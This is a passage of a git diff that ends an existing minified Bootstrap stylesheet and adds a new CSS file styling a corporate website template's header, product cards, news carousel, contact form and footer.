offset-0{margin-left:0}@media (min-width:768px){.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12{float:left}.col-sm-12{width:100%}.col-sm-11{width:91.66666667%}.col-sm-10{width:83.33333333%}.col-sm-9{width:75%}.col-sm-8{width:66.66666667%}.col-sm-7{width:58.33333333%}.col-sm-6{width:50%}.col-sm-5{width:41.66666667%}.col-sm-4{width:33.33333333%}.col-sm-3{width:25%}.col-sm-2{width:16.66666667%}.col-sm-1{width:8.33333333%}.col-sm-pull-12{right:100%}.col-sm-pull-11{right:91.66666667%}.col-sm-pull-10{right:83.33333333%}.col-sm-pull-9{right:75%}.col-sm-pull-8{right:66.66666667%}.col-sm-pull-7{right:58.33333333%}.col-sm-pull-6{right:50%}.col-sm-pull-5{right:41.66666667%}.col-sm-pull-4{right:33.33333333%}.col-sm-pull-3{right:25%}.col-sm-pull-2{right:16.66666667%}.col-sm-pull-1{right:8.33333333%}.col-sm-pull-0{right:auto}.col-sm-push-12{left:100%}.col-sm-push-11{left:91.66666667%}.col-sm-push-10{left:83.33333333%}.col-sm-push-9{left:75%}.col-sm-push-8{left:66.66666667%}.col-sm-push-7{left:58.33333333%}.col-sm-push-6{left:50%}.col-sm-push-5{left:41.66666667%}.col-sm-push-4{left:33.33333333%}.col-sm-push-3{left:25%}.col-sm-push-2{left:16.66666667%}.col-sm-push-1{left:8.33333333%}.col-sm-push-0{left:auto}.col-sm-offset-12{margin-left:100%}.col-sm-offset-11{margin-left:91.66666667%}.col-sm-offset-10{margin-left:83.33333333%}.col-sm-offset-9{margin-left:75%}.col-sm-offset-8{margin-left:66.66666667%}.col-sm-offset-7{margin-left:58.33333333%}.col-sm-offset-6{margin-left:50%}.col-sm-offset-5{margin-left:41.66666667%}.col-sm-offset-4{margin-left:33.33333333%}.col-sm-offset-3{margin-left:25%}.col-sm-offset-2{margin-left:16.66666667%}.col-sm-offset-1{margin-left:8.33333333%}.col-sm-offset-0{margin-left:0}}@media (min-width:992px){.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12{float:left}.col-md-12{width:100%}.col-md-11{width:91.66666667%}.col-md-10{width:83.33333333%}.col-md-9{width:75%}.col-md-8{width:66.66666667%}.col-md-7{width:58.33333333%}.col-md-6{width:50%}.col-md-5{width:41.66666667%}.col-md-4{width:33.33333333%}.col-md-3{width:25%}.col-md-2{width:16.66666667%}.col-md-1{width:8.33333333%}.col-md-pull-12{right:100%}.col-md-pull-11{right:91.66666667%}.col-md-pull-10{right:83.33333333%}.col-md-pull-9{right:75%}.col-md-pull-8{right:66.66666667%}.col-md-pull-7{right:58.33333333%}.col-md-pull-6{right:50%}.col-md-pull-5{right:41.66666667%}.col-md-pull-4{right:33.33333333%}.col-md-pull-3{right:25%}.col-md-pull-2{right:16.66666667%}.col-md-pull-1{right:8.33333333%}.col-md-pull-0{right:auto}.col-md-push-12{left:100%}.col-md-push-11{left:91.66666667%}.col-md-push-10{left:83.33333333%}.col-md-push-9{left:75%}.col-md-push-8{left:66.66666667%}.col-md-push-7{left:58.33333333%}.col-md-push-6{left:50%}.col-md-push-5{left:41.66666667%}.col-md-push-4{left:33.33333333%}.col-md-push-3{left:25%}.col-md-push-2{left:16.66666667%}.col-md-push-1{left:8.33333333%}.col-md-push-0{left:auto}.col-md-offset-12{margin-left:100%}.col-md-offset-11{margin-left:91.66666667%}.col-md-offset-10{margin-left:83.33333333%}.col-md-offset-9{margin-left:75%}.col-md-offset-8{margin-left:66.66666667%}.col-md-offset-7{margin-left:58.33333333%}.col-md-offset-6{margin-left:50%}.col-md-offset-5{margin-left:41.66666667%}.col-md-offset-4{margin-left:33.33333333%}.col-md-offset-3{margin-left:25%}.col-md-offset-2{margin-left:16.66666667%}.col-md-offset-1{margin-left:8.33333333%}.col-md-offset-0{margin-left:0}}@media (min-width:1200px){.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12{float:left}.col-lg-12{width:100%}.col-lg-11{width:91.66666667%}.col-lg-10{width:83.33333333%}.col-lg-9{width:75%}.col-lg-8{width:66.66666667%}.col-lg-7{width:58.33333333%}.col-lg-6{width:50%}.col-lg-5{width:41.66666667%}.col-lg-4{width:33.33333333%}.col-lg-3{width:25%}.col-lg-2{width:16.66666667%}.col-lg-1{width:8.33333333%}.col-lg-pull-12{right:100%}.col-lg-pull-11{right:91.66666667%}.col-lg-pull-10{right:83.33333333%}.col-lg-pull-9{right:75%}.col-lg-pull-8{right:66.66666667%}.col-lg-pull-7{right:58.33333333%}.col-lg-pull-6{right:50%}.col-lg-pull-5{right:41.66666667%}.col-lg-pull-4{right:33.33333333%}.col-lg-pull-3{right:25%}.col-lg-pull-2{right:16.66666667%}.col-lg-pull-1{right:8.33333333%}.col-lg-pull-0{right:auto}.col-lg-push-12{left:100%}.col-lg-push-11{left:91.66666667%}.col-lg-push-10{left:83.33333333%}.col-lg-push-9{left:75%}.col-lg-push-8{left:66.66666667%}.col-lg-push-7{left:58.33333333%}.col-lg-push-6{left:50%}.col-lg-push-5{left:41.66666667%}.col-lg-push-4{left:33.33333333%}.col-lg-push-3{left:25%}.col-lg-push-2{left:16.66666667%}.col-lg-push-1{left:8.33333333%}.col-lg-push-0{left:auto}.col-lg-offset-12{margin-left:100%}.col-lg-offset-11{margin-left:91.66666667%}.col-lg-offset-10{margin-left:83.33333333%}.col-lg-offset-9{margin-left:75%}.col-lg-offset-8{margin-left:66.66666667%}.col-lg-offset-7{margin-left:58.33333333%}.col-lg-offset-6{margin-left:50%}.col-lg-offset-5{margin-left:41.66666667%}.col-lg-offset-4{margin-left:33.33333333%}.col-lg-offset-3{margin-left:25%}.col-lg-offset-2{margin-left:16.66666667%}.col-lg-offset-1{margin-left:8.33333333%}.col-lg-offset-0{margin-left:0}}.clearfix:before,.clearfix:after,.dl-horizontal dd:before,.dl-horizontal dd:after,.container:before,.container:after,.container-fluid:before,.container-fluid:after,.row:before,.row:after{content:" ";display:table}.clearfix:after,.dl-horizontal dd:after,.container:after,.container-fluid:after,.row:after{clear:both}.center-block{display:block;margin-left:auto;margin-right:auto}.pull-right{float:right!important}.pull-left{float:left!important}.hide{display:none!important}.show{display:block!important}.invisible{visibility:hidden}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.hidden{display:none!important}.affix{position:fixed}@-ms-viewport{width:device-width}.visible-xs,.visible-sm,.visible-md,.visible-lg{display:none!important}.visible-xs-block,.visible-xs-inline,.visible-xs-inline-block,.visible-sm-block,.visible-sm-inline,.visible-sm-inline-block,.visible-md-block,.visible-md-inline,.visible-md-inline-block,.visible-lg-block,.visible-lg-inline,.visible-lg-inline-block{display:none!important}@media (max-width:767px){.visible-xs{display:block!important}table.visible-xs{display:table!important}tr.visible-xs{display:table-row!important}th.visible-xs,td.visible-xs{display:table-cell!important}}@media (max-width:767px){.visible-xs-block{display:block!important}}@media (max-width:767px){.visible-xs-inline{display:inline!important}}@media (max-width:767px){.visible-xs-inline-block{display:inline-block!important}}@media (min-width:768px) and (max-width:991px){.visible-sm{display:block!important}table.visible-sm{display:table!important}tr.visible-sm{display:table-row!important}th.visible-sm,td.visible-sm{display:table-cell!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-block{display:block!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline{display:inline!important}}@media (min-width:768px) and (max-width:991px){.visible-sm-inline-block{display:inline-block!important}}@media (min-width:992px) and (max-width:1199px){.visible-md{display:block!important}table.visible-md{display:table!important}tr.visible-md{display:table-row!important}th.visible-md,td.visible-md{display:table-cell!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-block{display:block!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline{display:inline!important}}@media (min-width:992px) and (max-width:1199px){.visible-md-inline-block{display:inline-block!important}}@media (min-width:1200px){.visible-lg{display:block!important}table.visible-lg{display:table!important}tr.visible-lg{display:table-row!important}th.visible-lg,td.visible-lg{display:table-cell!important}}@media (min-width:1200px){.visible-lg-block{display:block!important}}@media (min-width:1200px){.visible-lg-inline{display:inline!important}}@media (min-width:1200px){.visible-lg-inline-block{display:inline-block!important}}@media (max-width:767px){.hidden-xs{display:none!important}}@media (min-width:768px) and (max-width:991px){.hidden-sm{display:none!important}}@media (min-width:992px) and (max-width:1199px){.hidden-md{display:none!important}}@media (min-width:1200px){.hidden-lg{display:none!important}}.visible-print{display:none!important}@media print{.visible-print{display:block!important}table.visible-print{display:table!important}tr.visible-print{display:table-row!important}th.visible-print,td.visible-print{display:table-cell!important}}.visible-print-block{display:none!important}@media print{.visible-print-block{display:block!important}}.visible-print-inline{display:none!important}@media print{.visible-print-inline{display:inline!important}}.visible-print-inline-block{display:none!important}@media print{.visible-print-inline-block{display:inline-block!important}}@media print{.hidden-print{display:none!important}} \ No newline at end of file diff --git a/template/index3/assets/css/common_1107.css b/template/index3/assets/css/common_1107.css new file mode 100644 index 0000000..7e3d399 --- /dev/null +++ b/template/index3/assets/css/common_1107.css @@ -0,0 +1,736 @@ +article,blockquote,body,button,dd,div,dl,dt,fieldset,footer,h1,h2,h3,h4,h5,h6,header,hr,input,li,main,nav,ol,p,pre,section,td,textarea,th,ul{margin:0;padding:0} +body,html{overflow-x:hidden;width:100%} +body{font-family:"\5FAE\8F6F\96C5\9ED1","Microsoft Yahei","Hiragino Sans GB",tahoma,arial,"\5B8B\4F53";line-height:1;color:#85888e} +li,ul{list-style:none} +input,textarea{outline:0} +img{max-width:100%} +img,input{border:0;vertical-align:top} +a{color:#85888e;text-decoration:none;outline:0;transition:all .2s cubic-bezier(.215,.61,.355,1);-moz-transition:all .2s cubic-bezier(.215,.61,.355,1);-webkit-transition:all .2s cubic-bezier(.215,.61,.355,1)} +.flap{visibility:hidden;animation-duration:1s;-moz-animation-duration:1s;-webkit-animation-duration:1s;animation-fill-mode:backwards;-moz-animation-fill-mode:backwards;-webkit-animation-fill-mode:backwards} +.flaped{visibility:visible} +.text-shadow{text-shadow:0 2px 4px rgba(0,0,0,.16)} +.bg-grey{background-color:#fafbfc} +.box.bg-grey{border-top:5px solid #f5f5f5} +.box{overflow:hidden;padding-top:100px;padding-bottom:100px} +.els{overflow:hidden;white-space:nowrap;text-overflow:ellipsis} +.bold{font-weight:700} +.wrap{word-wrap:break-word;word-break:break-all} +.ystit{height:500px;width:500px;border-radius:500px;border:2px solid #108bed;margin:0 auto} +.ystit p{margin:210px 0 0 0} +.tit{margin-bottom:60px;text-align:center} +.tit p{font-size:30px;line-height:50px;color:#0f1830;overflow:hidden;text-overflow:ellipsis;white-space:nowrap} +.tit p em{font-size:16px;line-height:50px;color:#108bed;font-style:normal} +.tit span{font-size:16px;color:#555;line-height:20px} +.tit-en{display:block;font-size:40px;font-family:fzxh;color:#108bed} +.tit-zh{font-size:18px;color:#999} +.tit-span{display:block;padding:20px 0 0 0;font-size:14px;line-height:30px;color:#777} +.tit-line{margin:20px auto;display:block;width:60px;height:2px;font-size:0;background-color:#e1e1e1} +.owl-dots{position:absolute;left:0;bottom:-20px;width:100%;text-align:center} +.banner-owl .owl-dots{bottom:10px} +.owl-dot{margin:0 5px;display:inline-block;width:12px;height:12px;border-radius:12px;border:1px solid #79b9e5;transition:all .2s cubic-bezier(.215,.61,.355,1);-moz-transition:all .2s cubic-bezier(.215,.61,.355,1);-webkit-transition:all .2s cubic-bezier(.215,.61,.355,1)} +.owl-dot.active{background-color:#79b9e5} +.more-btn{position:relative;display:inline-block;font-size:14px;text-align:center;line-height:24px;width:65px;height:24px;color:#dbdbdb;border-radius:22px;border:1px solid #dbdbdb;transition:all .6s cubic-bezier(.215,.61,.355,1);-moz-transition:all .6s cubic-bezier(.215,.61,.355,1);-webkit-transition:all .6s cubic-bezier(.215,.61,.355,1)} +.more-btn:after{content:'';position:absolute;top:9px;right:11px;display:block;width:24px;height:7px;font-size:0;background-repeat:no-repeat} +.detail-label:hover,.more-btn:hover,.news-item:hover .more-btn,.news-one:hover .more-btn{color:#fff;border-color:#108bed;background-color:#108bed} +.more-btn:hover:after,.news-item:hover .more-btn:after,.news-one:hover .more-btn:after{background-repeat:no-repeat} +::-webkit-scrollbar{height:8px;width:8px;background:rgba(222,222,222,.5);-webkit-transition:all .3s ease-in-out;transition:all .3s ease-in-out;border-radius:5px} +::-webkit-scrollbar-button{display:none} +::-webkit-scrollbar-track{background-color:#fff} +::-webkit-scrollbar-track-piece{background:#fff} +::-webkit-scrollbar-thumb{width:8px;min-height:15px;background:rgba(0,0,0,.3);-webkit-transition:all .3s ease-in-out;transition:all .3s ease-in-out;border-radius:5px} +::-webkit-scrollbar-thumb:hover{background:rgba(0,0,0,.6)} +::-webkit-scrollbar-thumb:active{background:rgba(0,0,0,.8)} +.at{-webkit-transform-style:preserve-3d;transform-style:preserve-3d;-webkit-backface-visibility:hidden;backface-visibility:hidden} +.hid{overflow:hidden} +.header{position:relative;height:80px;z-index:3;box-shadow:0 2px 3px 0 rgba(0,0,0,.05)} +.header-logo{overflow:hidden;display:block;width:100%;height:100%} +.header-logo-img{margin:20px 0;height:40px} +.nav-item{position:relative;float:left;height:80px} +.nav-item-a{display:block;margin-left:0;padding:22px 0;width:100%;line-height:37px;height:80px;font-size:16px;color:#555;text-align:center} +.nav-item.cur{border-bottom:5px solid #108bed} +.nav-item.cur:hover{font-weight:700} +.nav-item:hover{border-bottom:5px solid #108bed} +.nav-item-child .nav-item-a.cur,.nav-item-child .nav-item-a:hover{color:#555;background-color:#f8fafc} +.nav-item-child .nav-item-a.cur>.nav-item-en,.nav-item-child .nav-item-a:hover>.nav-item-en{color:#b5bfc6} +.nav-item-en{display:block;padding-top:6px;font-size:12px;color:#b5bfc6;transition:all .2s cubic-bezier(.215,.61,.355,1);-moz-transition:all .2s cubic-bezier(.215,.61,.355,1);-webkit-transition:all .2s cubic-bezier(.215,.61,.355,1)} +.nav-item-child{position:absolute;left:0;top:100px;display:none;z-index:2;background-color:#fff} +.nav-item-child .nav-item-a{margin-left:0;border:1px solid #e7eff4;border-top:0} +.nav-item,.nav-item-child{width:120px} +.header-more{display:none;margin-top:6px;padding:16px 10px 0;width:44px;height:44px;border-radius:5px;background-color:#45a1de} +.header-more i{display:block;overflow:hidden;padding:3px 0;width:24px;height:12px;border-top:2px #fff solid;border-bottom:2px #fff solid} +.header-more i:after{content:'';display:block;height:2px;background-color:#fff} +.banner-owl{font-size:0} +.banner-owl .owl-dot,.honor-owl .owl-dot{border:0;background-color:rgba(0,0,0,.3)} +.banner-owl .owl-dot.active,.honor-owl .owl-dot.active{border:0;background-color:#fff} +.banner-item{display:block;height:700px;background-repeat:no-repeat;background-position:center 0;background-size:cover} +.product-item{display:block;padding:0;text-align:center;overflow:hidden;margin:10px 0;border-radius:25px;border:1px solid #eee;background:#fff;transition:All .6s ease-in-out;-webkit-transition:All .6s ease-in-out;-moz-transition:All .6s ease-in-out;-o-transition:All .6s ease-in-out} +.product-item:hover{transform:scale(1.1);-webkit-transform:scale(1.1);-moz-transform:scale(1.1);-o-transform:scale(1.1);-ms-transform:scale(1.1)} +.product-item-img{display:inline-block;width:130px;height:130px;background-position:50%;background-size:80%;background-repeat:no-repeat;transition:all .3s cubic-bezier(.215,.61,.355,1);-moz-transition:all .3s cubic-bezier(.215,.61,.355,1);-webkit-transition:all .3s cubic-bezier(.215,.61,.355,1)} +.product-item1 .product-item-img{background-image:url(../images/item1.png);transition:All .6s ease-in-out;-webkit-transition:All .6s ease-in-out;-moz-transition:All .6s ease-in-out;-o-transition:All .6s ease-in-out} +.product-item2 .product-item-img{background-image:url(../images/item2.png);transition:All .6s ease-in-out;-webkit-transition:All .6s ease-in-out;-moz-transition:All .6s ease-in-out;-o-transition:All .6s ease-in-out} +.product-item3 .product-item-img{background-image:url(../images/item3.png);transition:All .6s ease-in-out;-webkit-transition:All .6s ease-in-out;-moz-transition:All .6s ease-in-out;-o-transition:All .6s ease-in-out} +.product-item4 .product-item-img{background-image:url(../images/item4.png);transition:All .6s ease-in-out;-webkit-transition:All .6s ease-in-out;-moz-transition:All .6s ease-in-out;-o-transition:All .6s ease-in-out} +.product-item5 .product-item-img{background-image:url(../images/item5.png);transition:All .6s ease-in-out;-webkit-transition:All .6s ease-in-out;-moz-transition:All .6s ease-in-out;-o-transition:All .6s ease-in-out} +.product-item6 .product-item-img{background-image:url(../images/item6.png);transition:All .6s ease-in-out;-webkit-transition:All .6s ease-in-out;-moz-transition:All .6s ease-in-out;-o-transition:All .6s ease-in-out} +.product-item7 .product-item-img{background-image:url(../images/item7.png);transition:All .6s ease-in-out;-webkit-transition:All .6s ease-in-out;-moz-transition:All .6s ease-in-out;-o-transition:All .6s ease-in-out} +.product-item8 .product-item-img{background-image:url(../images/item8.png);transition:All .6s ease-in-out;-webkit-transition:All .6s ease-in-out;-moz-transition:All .6s ease-in-out;-o-transition:All .6s ease-in-out} +.product-item9 .product-item-img{background-image:url(../images/item9.png);transition:All .6s ease-in-out;-webkit-transition:All .6s ease-in-out;-moz-transition:All .6s ease-in-out;-o-transition:All .6s ease-in-out} +.product-item1:hover{background:#07cf8b;border:1px solid #07cf8b} +.product-item2:hover{background:#108bed;border:1px solid #108bed} +.product-item3:hover{background:#89d04f;border:1px solid #89d04f} +.product-item4:hover{background:#fd6a7f;border:1px solid #fd6a7f} +.product-item5:hover{background:#13d0d2;border:1px solid #13d0d2} +.product-item6:hover{background:#70c3ff;border:1px solid #70c3ff} +.product-item7:hover{background:#13d0d2;border:1px solid #13d0d2} +.product-item8:hover{background:#70c3ff;border:1px solid #70c3ff} +.product-item9:hover{background:#89d04f;border:1px solid #89d04f} +.product-item1:hover .product-item-img{background-image:url(../images/item1-a-h.png)} +.product-item2:hover .product-item-img{background-image:url(../images/item2-a-h.png)} +.product-item3:hover .product-item-img{background-image:url(../images/item3-a-h.png)} +.product-item4:hover .product-item-img{background-image:url(../images/item4-a-h.png)} +.product-item5:hover .product-item-img{background-image:url(../images/item5-a-h.png)} +.product-item6:hover .product-item-img{background-image:url(../images/item6-a-h.png)} +.product-item7:hover .product-item-img{background-image:url(../images/item7-a-h.png)} +.product-item8:hover .product-item-img{background-image:url(../images/item8-a-h.png)} +.product-item9:hover .product-item-img{background-image:url(../images/item9-a-h.png)} +.product-item-tit{font-size:22px;font-weight:400;color:#0f1830;margin:-20px 0 35px;transition:All .5s ease-in-out;-webkit-transition:All .5s ease-in-out;-moz-transition:All .5s ease-in-out;-o-transition:All .5s ease-in-out} +.product-item:hover .product-item-tit{color:#fff} +.product-item-tit-en{margin-top:10px;margin-bottom:30px;font-size:12px} +.product-item-txt{line-height:2em} +.productmsg-item{display:none} +.productmsg-item img{display:block;width:50%;margin:0 auto} +.productmsg-item h6{display:block;font-size:22px;line-height:50px;color:#0f1830;text-align:center} +.productmsg-item span{display:block;text-align:center;font-size:16px;line-height:50px;color:#108bed;background:#fafbfc;width:80%;margin:0 auto} +.productmsg-item p{display:block;width:80%;margin:20px auto;font-size:16px;line-height:30px} +.productmsg-item p:first-letter{margin:0 0 0 3rem} +.productmsg-sitem h6{font-size:26px;line-height:60px;display:block;text-align:center;color:#0f1830} +.productmsg-sitem span{display:block;width:90%;font-size:16px;line-height:50px;background:#fafbfc;color:#108bed;margin:0 auto;text-align:center} +.productmsg-sitem p{display:block;width:80%;margin:20px auto;font-size:16px;line-height:30px} +.productmsg-sitem p:first-letter{margin:0 0 0 3rem} +.solution-item{padding-top:100px} +.solution-item-tit,.solution-item-txt{font-family:'黑体';font-weight:400;color:#464a53} +.solution-item-tit{font-size:40px} +.solution-item-txt{margin:16px 0 20px;display:block;font-size:30px} +.solution-item-txt-en{margin-bottom:36px;font-size:12px;line-height:1.425em} +.case-box{padding-bottom:0} +.nop-box{padding:0} +.case-item{position:relative;overflow:hidden;display:block;padding-left:0;padding-right:0} +.case-item-img{display:block!important;width:100%} +.case-item-tit{position:absolute;left:0;bottom:0;display:block;padding:0 10px;width:100%;height:50px;line-height:50px;font-size:14px;font-weight:400;color:#fff;text-align:center;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;background-color:rgba(0,0,0,.5)} +.case-item-mask,.case-item-pop,.case-item-tit{transition:all .3s cubic-bezier(.215,.61,.355,1);-moz-transition:all .3s cubic-bezier(.215,.61,.355,1);-webkit-transition:all .3s cubic-bezier(.215,.61,.355,1)} +.case-item:hover .case-item-tit{bottom:-50px} +.case-item:hover .case-item-pop{top:50%;opacity:1} +.case-item:hover .case-item-mask{background-color:rgba(0,0,0,.2)} +.case-item-mask{position:absolute;left:0;top:0;width:100%;height:100%;background-color:rgba(0,0,0,0)} +.case-item-pop{position:absolute;opacity:0;left:0;top:150%;margin-top:-98px;padding:38px 10px 50px;width:100%;height:196px;color:#fff;text-align:center;background-color:#108bed} +.case-item-pop-tit{display:block;font-size:16px;overflow:hidden;white-space:nowrap;text-overflow:ellipsis} +.case-item-pop-txt{margin:15px 0;height:40px;font-size:12px;line-height:20px;overflow:hidden;text-overflow:ellipsis;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical} +.case-item-pop-btn{border:1px solid #fff} +.case-item-pop-btn:after{background-repeat:no-repeat} +.news-box-nav{display:inline-block} +.news-box-tit{float:left;margin:0 25px;padding:8px 10px;font-size:16px;color:#0f1830;border-radius:3px} +.news-box-tit.cur,.news-box-tit:hover{background:#108bed;color:#fff} +.news-item{margin-left:auto;margin-right:auto;padding:28px 20px 34px;display:block;max-width:350px;border-top:5px solid transparent} +.diynews{background:#fff;margin-bottom:20px} +.news-item,.news-item:hover .more-btn{transition:all .6s cubic-bezier(.215,.61,.355,1);-moz-transition:all .6s cubic-bezier(.215,.61,.355,1);-webkit-transition:all .6s cubic-bezier(.215,.61,.355,1)} +.news-item:hover{border-top-color:#f5f5f5} +.news-item:hover .news-item-tit{color:#108bed} +.news-item-img{width:310px;height:130px;border-radius:3px} +.news-item-tit{margin:20px 0 16px;display:block;line-height:20px;font-size:16px;font-weight:700;color:#0f1830;display:block;overflow:hidden;text-overflow:ellipsis;white-space:nowrap} +.news-item-txt{height:66px;line-height:22px;overflow:hidden;font-size:14px;color:#555;text-overflow:ellipsis;display:-webkit-box;-webkit-line-clamp:3;-webkit-box-orient:vertical} +.news-item-info{margin-top:26px;color:#b0b0b0} +.news-item-month{margin-bottom:8px;display:block;font-size:24px} +.news-item-year{font-size:12px} +.news-container{margin-top:50px} +.news-box .owl-carousel .owl-stage-outer{margin:-10px -10px 0 -10px;padding:10px 10px 0} +.news-container .owl-next,.news-container .owl-prev{position:absolute;left:-50px;top:50%;margin-top:-20px;padding:13px 0 0 16px;width:40px;height:40px;border-radius:40px;border:1px solid #d1d1d1;transition:all .2s cubic-bezier(.215,.61,.355,1);-moz-transition:all .2s cubic-bezier(.215,.61,.355,1);-webkit-transition:all .2s cubic-bezier(.215,.61,.355,1)} +.news-container .owl-next{left:auto;right:-50px;padding:13px 0 0 9px} +.news-container .owl-next:hover,.news-container .owl-prev:hover{border-color:#79b9e5;background-color:#79b9e5} +.news-container .owl-next:hover:after,.news-container .owl-prev:hover:after{border-color:#fff} +.news-container .owl-next:after,.news-container .owl-prev:after{content:'';display:block;width:14px;height:14px;border:1px solid #b6b6b6;border-right:0;border-bottom:0;transform:rotate(-45deg);-moz-transform:rotate(-45deg);-ms-transform:rotate(-45deg);-webkit-transform:rotate(-45deg);transition:all .2s cubic-bezier(.215,.61,.355,1);-moz-transition:all .2s cubic-bezier(.215,.61,.355,1);-webkit-transition:all .2s cubic-bezier(.215,.61,.355,1)} +.news-container .owl-next:after{transform:rotate(135deg);-moz-transform:rotate(135deg);-ms-transform:rotate(135deg);-webkit-transform:rotate(135deg)} +.leader-item-people{position:relative} +.leader-wraper .item{padding-top:36px;padding-bottom:36px} +.leader-item-line{position:absolute;right:0;top:50%;margin-top:-50px;width:1px;height:100px;background-color:#eff3f7} +.leaders-item:hover .leader-item-line{background-color:#489fda} +.leader-item-infos,.leader-item-portrait{display:inline-block} +.leader-item-infos{margin-top:45px} +.leader-item-portrait{margin-right:30px;padding:9px;width:176px;height:176px;text-align:center;vertical-align:top;border-radius:176px;background-color:#eeeef2;transition:all .6s cubic-bezier(.215,.61,.355,1);-moz-transition:all .6s cubic-bezier(.215,.61,.355,1);-webkit-transition:all .6s cubic-bezier(.215,.61,.355,1)} +.leader-item-bg{overflow:hidden;width:100%;height:100%;border-radius:158px} +.leader-item-img{width:158px;height:158px;border-radius:158px} +.leader-item-name{display:block;margin-bottom:16px;font-size:20px;color:#464a53} +.leader-item-info{font-size:12px} +.leader-item-introduce{margin-top:62px;line-height:24px;font-size:12px} +.leader-item-info,.leader-item-introduce,.leader-item-name,.leaders-item{transition:all .2s cubic-bezier(.215,.61,.355,1);-moz-transition:all .2s cubic-bezier(.215,.61,.355,1);-webkit-transition:all .2s cubic-bezier(.215,.61,.355,1)} +.leaders-item{display:block} +.leaders-item:hover{padding-left:0;background-color:#208bd3} +.leaders-item:hover .leader-item-info,.leaders-item:hover .leader-item-introduce,.leaders-item:hover .leader-item-name{color:#fff} +.contactus-item-info{margin-bottom:100px} +.contactus-icon-address,.contactus-icon-email,.contactus-icon-phone{display:inline-block;background-repeat:no-repeat} +.contactus-box .popbox-inputbox{padding-left:15px;padding-right:15px} +.contactus-box .input-message-box{padding:0} +.contactus-box .popbox-con{margin:auto;width:auto} +.contactus-box .popbox-input-tip{color:red} +.contactus-box input[type=text],textarea{color:#444} +.contactus-icon-box{display:block;height:75px} +.contactus-icon-address{width:49px;height:57px;background-repeat:no-repeat} +.contactus-icon-phone{margin-top:4px;width:54px;height:53px;background-repeat:no-repeat} +.contactus-icon-email{margin-top:10px;width:53px;height:47px;background-repeat:no-repeat} +.contactus-item-txt{font-size:16px;line-height:20px;color:#464a53} +.input-email,.input-message,.input-name,.input-tel{padding:10px;width:100%;height:43px;line-height:22px;border:0;border-bottom:1px solid #b8b8b8} +.input-message{margin-top:76px} +.submit-btn{margin:40px auto 0;display:block;width:210px;height:50px;line-height:50px;font-size:16px;color:#464a53;text-align:center;border-radius:50px;border:1px solid #666970} +.submit-btn:hover{color:#fff;border-color:#208bd3;background-color:#208bd3} +.map-box{overflow:hidden;width:100%;height:380px;border-style:solid;border-width:1px 0;border-color:#ccc;background-color:#fafafb} +#mapContainer,.map-con{height:380px;width:100%} +.info-title{color:#fff;font-size:14px;background-color:#427bbb;line-height:26px;padding:0 0 0 6px;font-weight:lighter;letter-spacing:1px} +.info-content{font:12px Helvetica,'Hiragino Sans GB','Microsoft Yahei','微软雅黑',Arial;padding:4px;color:#666;line-height:23px} +.info-content img{float:left;margin:3px} +.cooperation-owl{margin:60px 0} +.cooperation-owl .owl-stage-outer{height:40px} +.cooperation-item{margin:0 10px;display:block;width:200px;height:40px} +.cooperation-item-img{margin:0 auto;max-height:40px} +.cooperation-owl .owl-next,.cooperation-owl .owl-prev{position:absolute;left:-30px;top:8px;display:block;width:24px;height:24px;border:2px solid #c5c8cb;border-right:0;border-bottom:0;transform:rotate(-45deg);-moz-transform:rotate(-45deg);-ms-transform:rotate(-45deg);-webkit-transform:rotate(-45deg)} +.cooperation-owl .owl-next{left:auto;right:-30px;transform:rotate(135deg);-moz-transform:rotate(135deg);-ms-transform:rotate(135deg);-webkit-transform:rotate(135deg)} +.cooperation-owl .owl-next:hover,.cooperation-owl .owl-prev:hover{border-color:#208bd3} +.footer{padding-top:50px;font-size:12px;background-color:#28292c} +.footer,.footer-icp{color:#5e6164} +.footer-logo{margin-right:28px;width:167px;height:38px} +.footer-logo-img{width:167px;height:38px} +.footer-item{color:#878c91} +.footer a:hover{color:#ccc} +.footer-slogan{margin-top:8px} +.footer-icon{float:left;display:inline-block;width:36px;height:36px;background-repeat:no-repeat} +.icon-wb,.icon-wx{margin-left:15px} +.icon-qq{background-repeat:no-repeat} +.icon-qq:hover{background-repeat:no-repeat} +.icon-wx{background-repeat:no-repeat} +.icon-wx:hover{background-repeat:no-repeat} +.icon-wb{background-repeat:no-repeat} +.icon-wb:hover{background-repeat:no-repeat} +.footer-copyright{overflow:hidden;padding:22px 0;line-height:21px;border-top:1px solid #2e2f32} +.cmmi{overflow:hidden;margin:40px 0 20px} +.cmmi img{height:38px;display:inline-block!important} +.cmmi img,.cmmi span{float:left} +.cmmi span{margin-left:14px;line-height:38px} +.footer-info{padding:10px 0} +.footer-login{padding:0 15px;height:30px;line-height:28px;border-radius:3px;border:1px solid #5e6164} +.icon-hotline,.icon-user{display:inline-block;width:21px;height:21px;vertical-align:top;background-repeat:no-repeat} +.icon-user{margin-right:10px;width:36px;height:36px;background-repeat:no-repeat} +.footer-user{line-height:36px} +.footer-social-item{position:relative;display:inline-block;font-size:0;z-index:1} +.footer-code{position:absolute;display:none;left:3px;top:-150px;width:131px;height:140px;z-index:1} +.back-top{position:fixed;display:none;right:50px;bottom:19px;padding:16px 13px 10px;text-align:center;border-radius:5px;color:#fff;background:rgba(0,0,0,.4);z-index:10000} +.back-top:hover{background:rgba(0,0,0,.5)} +.back-top-icon{display:block;width:12px;height:12px;border:2px solid #fff;border-right:0;border-bottom:0;transform:rotate(45deg);-moz-transform:rotate(45deg);-ms-transform:rotate(45deg);-webkit-transform:rotate(45deg)} +.popbox{position:fixed;z-index:999;left:0;top:0;width:100%;height:100%;background-color:rgba(0,0,0,.5)} +.agreement-wrap,.popbox-wrap{position:absolute;z-index:1000;left:0;top:50px;padding:70px 0;width:100%;background-color:#3196da} 